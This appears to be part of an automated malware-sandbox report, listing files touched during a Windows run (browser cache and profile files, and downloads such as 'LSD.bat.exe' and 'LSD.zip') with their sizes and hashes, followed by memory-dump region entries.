9d0dfc21306b3a56c2ecdf1265392271969e3765e161e117c8765125b34793e24458217cf6514b364f351f47e65baaaf5856be0d13406a789f844d6ba8c7075f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

Filesize
65KB

MD5
d24650881aed8ad2afc39216e92b6fea

SHA1
1439162c251400a9a0ca1044db6036fdb0ee01a2

SHA256
ed91813341b7f0ade77ca9fb3cde65254d5381e45c424beee1fde6886e4dcfd1

SHA512
d7606678bb9046ca2b24e025a83bb418031e61811c4572e716e1dc367ce60cdc38931a324720897c0fd509dcad2dce39101770702f767e319ebf7855d5a96a93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

Filesize
151KB

MD5
da800376add972af643bd5ff723c99a5

SHA1
44fe56009c6740ec7e25e33e83a169acff4c6b6c

SHA256
bf252b560c9cc78dfa63abe0ae5caa03b83e99b1ca5fae3c9515483c57aaae3f

SHA512
292819ce339d4546d478fc0aca22ae63f4b7231f6a0aca3fbe1069d53ad09e1e3c936205cdbeb53bbedbfcbc33f3b6077f84364a150f7627f87ac091de08952d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a

Filesize
23KB

MD5
544fb04bb29f0f5788fd4c3ed2ef5f1d

SHA1
4ddddf5dbbbff39f64f3edb3431d87fb8ffbfc7e

SHA256
50881237b8ccc8f979af498f643e7823da4a71a9054ca277a200ead8daa62699

SHA512
45cae9d9322663eac8596e6f502bbbc73d3abecdba4f579904d34ebfb673b11871dedde2c61a76631c4c36ae9d117d75d0820936304690cb6a7943029090c712

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000d

Filesize
19KB

MD5
7f6b207a4cafae63fd5fcfa9f3e88d87

SHA1
fd6184f09df26f43d0c502fd8c2d20a031d9f287

SHA256
636d95cac3d1bf5e1f292de47859053dc736f2c678ebd66933ff6060c18e2d67

SHA512
28665d0b0928ee49f8496e7fd370e25f17d39546d3a14dd3ca563600c58122439630edab0e1255c64d20396e1c661de58e59e1d44546fb2ad0a37244d72036b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000e

Filesize
19KB

MD5
bfdcf12d621ea893e79ca269da93dd02

SHA1
5519303d3469cd9bbb4bf1e5ec31aa5eee5a5950

SHA256
39bd58789bcf50120e7032ec73512f9eae0e1774877e43130463c79da2e2f922

SHA512
dfaa03eb8ab710cdc11a1386d1a13b4f7624da12a1bbc3722541e4d5938a8022c58101f5597c3b2e4b545a39151308814c002c0d89a230bdae4f785ea0bc4fba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000f

Filesize
21KB

MD5
d7226b68fa178a62fa40b95b76604a57

SHA1
5321c65be15372e3dfbe6cecc297c229f5581e85

SHA256
c907945eeb1aff6792cb5e22cae4cb2bc681a836a69bc6c6d6fd483a4a1d63db

SHA512
d2a7dfc4df92a32d45e1e7806d16abb512cdab32ddd673c54f0c9fd070765e875cc2e90355fa1af197c982f15f39f1aed007431ef31fb5c4189e655f0509a53b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bc9e1fd4409420f7_0

Filesize
8KB

MD5
37c5c761171f58374979ab395ec7b433

SHA1
817b933a961a8bc32e08f706a59fa583b9c8469b

SHA256
72adc5d2b57b1c5e98b44351be5f206745d8bfc2547f8cc232472cff8ddc09d8

SHA512
008b5413a7fdbdf7075a5d27f7d034fedf7d7eadea6001e6ee7859d05695942cf060b6086aadef4dc603a4d0b26f25f58027d3f2f4cc939f1623adc962a10ee5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
8b46084b84ac095eceae3626cc8d4642

SHA1
9881ea5a89fb775a90636af5d1b16b5d305d3d94

SHA256
d79c22b7363586c7c67aebce248e80f841f0639502f78ab133e700acc4a439d8

SHA512
70d5f1c20f14fac37c385ee3244ad8e011b8d4f7264197e8b09c79d17d4f6cb898543d25fdfa43caad6a889b57e07d377e93db954acfdcf4728d8feb569a59c2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
e9b9e3d5a496f6964991159227ed4a8c

SHA1
78ee6b21c64ecba54ef5b7c1fbe2fe1d25555848

SHA256
accbe9b428bec2ba69326274506f2bc97021ac078a8a3a9a5e5ffd734b706441

SHA512
275e0d3253c3c85c5277b99348daff4bc61af75e5764a171fa4703aa27db5816fc0721030635a8ec83acc0e53f5e3187268e6648fa7919092acd67efadb6026a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
649B

MD5
6669af2b9921c75b79e30d0b689ea38c

SHA1
8ae976260ce4233a8b2480b4c2bb215024b92609

SHA256
e32c39df9ac87462585dd1f5ec4fce040c78a5421b1ba85ed454fd7138f71369

SHA512
e9302cc562a7a1607cbd5185eaaacb15d6b69842194dfb9eb26b84583e7e139904dfad98cf8932eb74293b37c1ceb85cbb314e8d3f7afe87f7a82f16eb8a50c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
2c882e87a733b037f050bcf5cb2de033

SHA1
fc4a587e53f3fe87720e6171267e9bafe17ec95b

SHA256
221e9d670bf0573fcbe1800450b63ee4929b3b0f1b866e3649e8c99ce0155b69

SHA512
aa5d7c1176138a1ff385a8d53fd094eebd0636e3d0957475e8ff385f039138fa2fedf06986e4eb7161341a54ddce9d651ad2f54d7c20b2e2fb5a37b733916a68

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ce6e2e6e3f3caf0a168a9563a7e7f25c

SHA1
0f97d5316b399bda326a33274b47ea82dbc2a126

SHA256
9fdf66b42767e3132b599d97751ce0b8edd81c36d3f45d71849ece0217de817e

SHA512
e6af96012ca5339649ceeb387e496023235023a3af5f39fbf3a060fcc3f466c7d2be682a170c49aaea2793bba41b88ab0557e4d3a4db023cc65e87e357dcf954

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
c49d719e4e0d8c3e2ba80657f7656215

SHA1
44a4d38ee60cd79c50a5004434f73b360c1fe0ce

SHA256
d77fca64d3f0660a65122bda3fad41853672e30a7c95a1bb9cf92e899239775b

SHA512
7dd9bf9864996d8edbd49ea2059618da356f3b9a8757342bc397e5ee4f972481f8403e89b1aab22b5d0ba04762a36004f2754e618ae9428107b23ddbd8ac4a62

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
c02cd06060ede3c426f19ae5d6aff325

SHA1
c34578ebe4b3afef79841af3fec5e23d065d3d53

SHA256
c60e4dc0799e145d88d9364b00d7b44089671742d28d7b4d2c6743f10bcd4c9b

SHA512
b1bc0d41d3016abe37a099d038f7363f4a4219be7b6b52478e24ad394a1d217e89743666a2e76dd58cd82bfc42fa6302ae82715c155623c974966b075098d9a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
31d41f9f85dd265a6df9eda9b5a82294

SHA1
63410358bc55fcaa054ff754dcbf0879a5425fa8

SHA256
b3884daf79652e49ffab421b11ab9e5e5136df0c8f4be7cb983788a182206a03

SHA512
f6263d5cd0f8d9e3f8a098b466aaa173e574ff69f0ea1c985601a6ace9ed808a5152f04179d4fdf25884b95271625fb724707718e29befa622735b3d0d2d7544

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
789f82df8accdb1c631c402143d645f9

SHA1
2ab60f1c0a6708820508a8f1bd0f4c8100a7534d

SHA256
d8c685a4f2cffc16bc8941d574f4c633b5893abeeb9df78da43b65e6a7e64eba

SHA512
7dcd045f8d870b4df49e191a6702e4b81e35d352d71e5900ba4780fad109953ce726b784924143d0b71c123c29f64d2b5ac6fbfc59cb0cb6b4aa8e7a26e5ac80

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
0f26aecc54aba0229774852b2fab0f70

SHA1
330832c21fa056d4c0f246e2fe7f5063de76984c

SHA256
f86bae9a4f1e74b27a76548534a1ea0399678bfb3505be4377870ffacd80bd0c

SHA512
12eb0bd18f10090eec4aced4d1ca248c3b6b60ffc717b04a76fc65056cc728afcee53eb246ec37a4379ecc92bf54a94abc76d7cc846f57ed2fb01df74e850cdb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
80c54863ece59fe4b90349a1f62cf773

SHA1
fb22f78a90fc7bbb2b4fdc856eb0c8a6e96e8374

SHA256
48a3c8a1010255d99385252fca4a39cfad4242a27cb0988a358a2618da5e5484

SHA512
8a842707cb23e65135f1c81a0fd325ca3decc5922bb9fa26159d7d0e665fe375533234646e7f61bf901de4da140597e8393a206a2a0fb9a11d369376269bd7f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
e9ebe8b7034ae6bea390489abdd28af6

SHA1
04640fd8438734bef85cfeb3b22d981a1d113232

SHA256
97c86dae6ec6e92ab287cceb0c383bf4d0e552e05d50f1fd9d9fb2981c9f5867

SHA512
afc3974fb3a06decf22d117a84af4b4ee97cfa14e094745d52452f94ab7cf9937296cd822bbb5f623ce2e9400c5df71f2f46de6bddbda9738232b380b205d8e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
856a5c90a0c7d65b1b9ddaa53eea0d0b

SHA1
bad658aaa7870f2012c259fbfea8864be19af8c5

SHA256
43e4ca335d7f3ccdda850f98e17ee9fb0c70218f6b7912f8127265250b5fae9c

SHA512
9b1f1ebdaab63e94b04c04319c2ff42711c77dd9467cdb279f62ac54744a5f5a7071caf197e159c5a7ed914eb5e0c27218445abb633c1379b7a404314a3869e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe585c15.TMP

Filesize
1KB

MD5
2f239b256e1fcb3a0020e0ea011f60a0

SHA1
eb298571265eb0ff69b1942ea93cebc859df931b

SHA256
38363321de90bbd891da9ad946a821916289eac26eb2677efe71b7a68fcb1a0e

SHA512
5b875d8aea2df606e83c17e82a13c7abbde6fc9ca920e92d765254ed410919e737ef984bd40ecd59e0ac6986ee912ab69646c9e4d83e285a090b7a6baf0970ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3c9cea9d70ebe813b08bc8ccd6ed8d55

SHA1
16821a6cc6135b0b6e095c1704a723dab95e3367

SHA256
4474410a8e774fa97802981b80ef6358e74faf0659f84e68ff1a00023fe7740a

SHA512
7445f02fcea942cc88e70e6e638fc05cab330dc8ccb8126ede7f344908b69b387a9079c4751cc10a3fa76b089e893a4b1f12cb0ea7ca625ccdb750243252166b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
5c5bea337896e4a47d585c54eeb5b779

SHA1
d6b611238c918665ecfa94f1afd96649e998d77e

SHA256
63d487251f66d0e26e3f0cb8af7c6f1f8779c6bda390466b6ae964be037a10da

SHA512
d20dd2e5d7a03920965c8a878002cf524da7d77f28a40702e567cc25333cc1db70b8160ea52795d556663d2e02a43aedc44d3901195c532fb81190f4e56fec2b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
4ad1c8f82aa9442ea3f032afcb895598

SHA1
cf383852e7ba072c4d3d0be6bfee858204e2e215

SHA256
dedc97b4a509920ad774f0cfe705aa2e181ec9a7b0f5d55b28cc8a52ee3a3f7d

SHA512
25a158391b84f5804c8fcf57debb7e75726953cf3613d894ab3300400be2eb46be76e5ed28c7e883764619e808aaab0a3571095b9a6a051fe718064985c99171

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
46815da275f922a3cdf2cb3cb30fdb83

SHA1
928eb837f1cb4ca6a511bb6016ad1bf2e2745bba

SHA256
e06277e518deb9da95680c0928c8dbe609195af19750072d25c531e0f02b460c

SHA512
35e102aa33e7c61929cf714db50ae7338712dae89b3e3ffc60e0f34b84d0813ea135425b1a24cb4655e105f51bdd491e09ac8891cd2c192ee54f69382a23b7d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
710c4a0aca1c2f56d35101ee85554d42

SHA1
f5cd3d25f64206c5c99042b768f57b0df18f2137

SHA256
37ef9f1a33056f8bd83d65594e192516f110788afcdf65d394909f04da7a5233

SHA512
be1e33af3c6189d0b38f7d12018d0be358be9eae3e451048e514edcc6d7cbb7f8d001e38f8b3e826f54a692eaad05464b60aed281b19dd0c52c91ef9961a494b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvzhjn4z.bev.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
12KB

MD5
95f44596581b427d0cb4b6050d7694ba

SHA1
70a5a29e50e93b425aeae8b5cee53d33ffb3beb8

SHA256
6d8ca064e899021f932da255beee9f8c5b529131de34f067af4a18233bf726ac

SHA512
45d67e3063934a34d855812d6b5dd7ea2a62246243566f83b25fa00377bc36b0a7113dd159211a32114b8fa0f4f900af9aaeda5a8a2c1402777a4a3e5f6705fc

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\datareporting\glean\db\data.safe.bin

Filesize
9KB

MD5
7bf8560fde9d47bd8d139324adbac5a6

SHA1
ef962a4db861a144b84e2b85f1a1dde3f327e0c5

SHA256
61a47f8ff2c51f78adbcacd55472302b3a4dba40911591cfd834f8ad7da814f5

SHA512
e36e8d77e90b0ce7b4fb63479150b2198448ac1d446a8934e9e95e327bc9e667f93623051eee5201b02c391f6d2d89cb2c8248c7d591036cc91c224bbb4d1933

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\datareporting\glean\pending_pings\e9d823d6-a54b-4a0d-8dc5-bd0ff50db703

Filesize
734B

MD5
2e20a8062fa0958e324e1cdf53552b56

SHA1
75a6868a88ad84f7aa896d1e01b19a0d2066157e

SHA256
105b1a164ddac20a6e4fe42998491761066c41c55298a54477f9ebaf6d8a8ca6

SHA512
c0d21e70d30d0607b591ad86ece212f4dadf676b13a46ea831dcd05716f493e46e162ae9f586f497720171c9d8baa06227b98d524ab96f07ae51159e9c17f1a5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\prefs-1.js

Filesize
6KB

MD5
a9165b46596d4d29c242c753bb9f63e9

SHA1
7236a1c7724ad37e3438b2fe5568425ba9d44a09

SHA256
06a2e7565c7916c7d8bf6ab05cc2836e9a264a21501965cec2f2d89646d78968

SHA512
cd6ece011e8ca636d540462efd9aaa9201d44039592acf818dc312982a26a1d099bf86b941e08878e0b1d41639757fd4d46391dd4237a683f21addb73e8bb210

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\prefs.js

Filesize
6KB

MD5
c0c4dd75b3af4420d5e73c8c60e79606

SHA1
328eed35d6ce1b93fd32e995b791dfe9b7e1831e

SHA256
719a0aa035e2fc2a20244b1a801b77c99622073e0f3881d48ccd241d3fe61bf4

SHA512
8ef4bb3ff3f76d712d669b4140aeb11e724c1d9a9f83086fad5234a107f1db09e977fd537ecee3e7cb7e749b12d693f7c17517d9d11ef54fecaaf4476ac60742

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
4c87acdb9d5a8295fb2523743503bdc8

SHA1
5463d61ebf39df15dd432e45b80bdc17be652247

SHA256
523d9670044013674eb5d7354144bcd1b097ca3f51632b4153e897de4b49b86d

SHA512
70815f3c39a064f3c6651a888c5deb718415ce5b763e8fa7ce141f011b18f6f1b78a14db86d0c7446aab79e6c474162bb488e9e2447c4c53024617288b8b7d62

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\sessionstore.jsonlz4

Filesize
891B

MD5
7f05b470d8e59ccab323921717387b2f

SHA1
f188dc187dcf65a6ff656f1eeb1ca920b7a77c01

SHA256
4414f29b7e662431d7886eb689c92cf00b32f6a9d88a48ba2aa1ba832ed3213d

SHA512
ff3c92b7cb75ddbf0a4156d1fe4ed6382a535ba4f0b29f8fc5856cf28f39db9ae30dfdd0675ebc88cebb50c43791c9b8396d447839b9b851a58ad9aeacb56dcd

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0zk78kq5.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
184KB

MD5
480f2ac246207a2c5ec984b74df261cd

SHA1
3d431fb255ef9e4ddef56420d99bb5c1b3fff634

SHA256
cbe3c63c09a512571d349a6ef92a70327ff29db0168a1f1e516e951eda166b6c

SHA512
e710794a4f572329b299574e46d6a78eae48667d2eb909ca8002a07816bed5aaf27b51920b614bc58804f915b1942d3083bc584d8d697cb8e7c2fd259c717ebb

Download Submit
C:\Users\Admin\Downloads\Gorilla Tag.exe:Zone.Identifier

Filesize
55B

MD5
0f98a5550abe0fb880568b1480c96a1c

SHA1
d2ce9f7057b201d31f79f3aee2225d89f36be07d

SHA256
2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1

SHA512
dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

Download Submit
C:\Users\Admin\Downloads\LSD.zip

Filesize
1015KB

MD5
35dfb059bb535f84973cc977600a4288

SHA1
d91067d646c0bbf17f23acf62b666d850306ef79

SHA256
621104378d82d5c57b12bc30ac70c179064949f1b114288b559d412b70a4c653

SHA512
cac96f7d0fdbaa9587a1d18f26cc761541ade1ccc61c225d33ee642602a89895a84a316bfc5efa17675da7aa765c673dfd8c30942cc83165fb026f5c8f828d33

Download Submit
C:\Users\Admin\Downloads\LSD.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Users\Admin\Downloads\LSD\LSD.bat.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\Downloads\LSD\blacklist.txt

Filesize
987B

MD5
68449bbf7f162ab7d71945e84375e410

SHA1
c87ea31e16e9aa35b033a3f0926296ad6b1b1e45

SHA256
7832b57dc2f7480bdf8ef76aac2e51dc75f3a6e3e6f7f5a117f97b78ecb90fbc

SHA512
eb86502e47cafc6f6536d119c87dcdf026e6edff4121a7955768c872b0633cf942df3f1f77f85cbfc7ec11551c89d326c3d3dc120a5a288776ca81749ce71314

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 415547.crdownload

Filesize
78KB

MD5
e5729cb891f5c45a745d4ea874071583

SHA1
077a7d239a4bf8bc589dcf329a044d74d386f9a6

SHA256
06bde9ab6cf2bdd11006673c102446b5fecf7c1a0f9035796c8d6064e92c0799

SHA512
6521b044d905be1ec3772b84a3ac0c3d33461d10dabc0c55b4b2b97c6c01b430fc7df6733bc0172d2aebcaecc60d0a373d9dbb65fc1b6ae1046b4a085ef657fc

Download Submit
memory/1132-1102-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/1132-1103-0x000002ACDFAC0000-0x000002ACDFAD0000-memory.dmp

Filesize
64KB

Download
memory/1132-1067-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/1920-1170-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1172-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1178-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1169-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1215-0x00007FF920770000-0x00007FF92082D000-memory.dmp

Filesize
756KB

Download
memory/1920-1214-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1213-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1212-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1211-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1179-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1173-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1210-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1191-0x00007FF920770000-0x00007FF92082D000-memory.dmp

Filesize
756KB

Download
memory/1920-1190-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1189-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1188-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1187-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1176-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1174-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1175-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1186-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1185-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1184-0x00007FF8DE6C0000-0x00007FF8DE6D0000-memory.dmp

Filesize
64KB

Download
memory/1920-1183-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1182-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1171-0x00007FF8E1030000-0x00007FF8E1040000-memory.dmp

Filesize
64KB

Download
memory/1920-1181-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/1920-1180-0x00007FF8DE6C0000-0x00007FF8DE6D0000-memory.dmp

Filesize
64KB

Download
memory/1920-1177-0x00007FF920FA0000-0x00007FF9211A9000-memory.dmp

Filesize
2.0MB

Download
memory/2564-444-0x00007FF8FCE70000-0x00007FF8FD932000-memory.dmp

Filesize
10.8MB

Download
memory/2564-453-0x00007FF8FCE70000-0x00007FF8FD932000-memory.dmp

Filesize
10.8MB

Download
memory/2564-445-0x000001D6A90B0000-0x000001D6A90C0000-memory.dmp

Filesize
64KB

Download
memory/2564-450-0x000001D6A92A0000-0x000001D6A92B0000-memory.dmp

Filesize
64KB

Download
memory/2564-452-0x000001D6A92D0000-0x000001D6A92FA000-memory.dmp

Filesize
168KB

Download
memory/3284-1165-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/3284-1166-0x000002407F420000-0x000002407F430000-memory.dmp

Filesize
64KB

Download
memory/3284-1161-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/3800-1135-0x00000286A65E0000-0x00000286A65F0000-memory.dmp

Filesize
64KB

Download
memory/3800-1134-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/3800-1133-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/4916-1167-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/4916-1168-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5524-1101-0x000001523AA50000-0x000001523AA60000-memory.dmp

Filesize
64KB

Download
memory/5524-1061-0x00000152202C0000-0x00000152202D8000-memory.dmp

Filesize
96KB

Download
memory/5524-1062-0x000001523AA90000-0x000001523AC52000-memory.dmp

Filesize
1.8MB

Download
memory/5524-1063-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5524-1064-0x000001523AA50000-0x000001523AA60000-memory.dmp

Filesize
64KB

Download
memory/5524-1065-0x000001523B190000-0x000001523B6B8000-memory.dmp

Filesize
5.2MB

Download
memory/5524-1100-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5544-1158-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5544-1155-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5544-1159-0x000001DEA32B0000-0x000001DEA32C0000-memory.dmp

Filesize
64KB

Download
memory/5884-1157-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5884-1162-0x00007FF8FCF20000-0x00007FF8FD9E2000-memory.dmp

Filesize
10.8MB

Download
memory/5884-1163-0x000002095A970000-0x000002095A980000-memory.dmp

Filesize
64KB

Download
memory/6096-429-0x000002229C600000-0x000002229C610000-memory.dmp

Filesize
64KB

Download
memory/6096-430-0x000002229C600000-0x000002229C610000-memory.dmp

Filesize
64KB

Download
memory/6096-431-0x000002229C600000-0x000002229C610000-memory.dmp

Filesize
64KB

Download
memory/6096-428-0x00007FF8FCE70000-0x00007FF8FD932000-memory.dmp

Filesize
10.8MB

Download
memory/6096-434-0x00007FF8FCE70000-0x00007FF8FD932000-memory.dmp

Filesize
10.8MB

Download
memory/6096-427-0x000002229DF80000-0x000002229DFA2000-memory.dmp

Filesize
136KB

Download